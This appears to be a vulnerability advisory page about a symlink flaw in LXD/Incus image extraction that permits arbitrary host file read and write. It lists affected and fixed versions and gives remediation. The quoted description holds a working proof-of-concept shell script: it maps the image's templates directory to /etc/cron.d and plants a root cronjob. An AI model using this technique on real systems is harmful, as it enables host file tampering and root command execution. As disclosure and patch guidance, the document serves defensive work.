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TI-2026-86097 Aliases GHSA-jpf8-86f3-wp38

Symlink in LXD image templates allows host file read and write

Priority LOW 38CWE-73Published · Updated

Key facts

Attack vector
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Privileges required
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User interaction
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Attack complexity
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Impact type
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Confidentiality · integrity · availability
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Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

The Go module github.com/canonical/lxd is affected before 0.0.0-20260203144152-d1c8ba15d160. Image extraction does not reject a top-level templates symlink, so file paths are controlled from outside the image (CWE-73). An attacker who supplies a crafted container image can read and write arbitrary files on the host, possibly leading to command execution.

Written with Claude Haiku 5.5 from the sources below · 2026-11-06

Description from the GitHub advisory

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 ### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. ### PoC Below, we map the templates directory to `/etc/cron.d` on the host, but it can be mapped anywhere. We then create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Why it matters now

Fix Fixed github.com/canonical/lxd (Go): 0.0.0-20260203144152-d1c8ba15d160

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—github.com/canonical/lxd (Go)before 0.0.0-20260203144152-d1c8ba15d1600.0.0-20260203144152-d1c8ba15d160Patch availableGHSA-jpf8-86f3-wp38
  • github.com/canonical/lxd (Go) Vendor— Affected before 0.0.0-20260203144152-d1c8ba15d160 Fixed in 0.0.0-20260203144152-d1c8ba15d160 Patch available GHSA-jpf8-86f3-wp38

Remediation

Update github.com/canonical/lxd to 0.0.0-20260203144152-d1c8ba15d160, which is the fixed version listed in the sources.

Written with Claude Haiku 5.5 from the sources below · 2026-11-06

  • Fix · GHSA-jpf8-86f3-wp38 github.com/canonical/lxd (Go) Fixed in 0.0.0-20260203144152-d1c8ba15d160 Advisory →

Timeline

  1. 2026-11-06 Threatist record created from GHSA-jpf8-86f3-wp38

References

Sources

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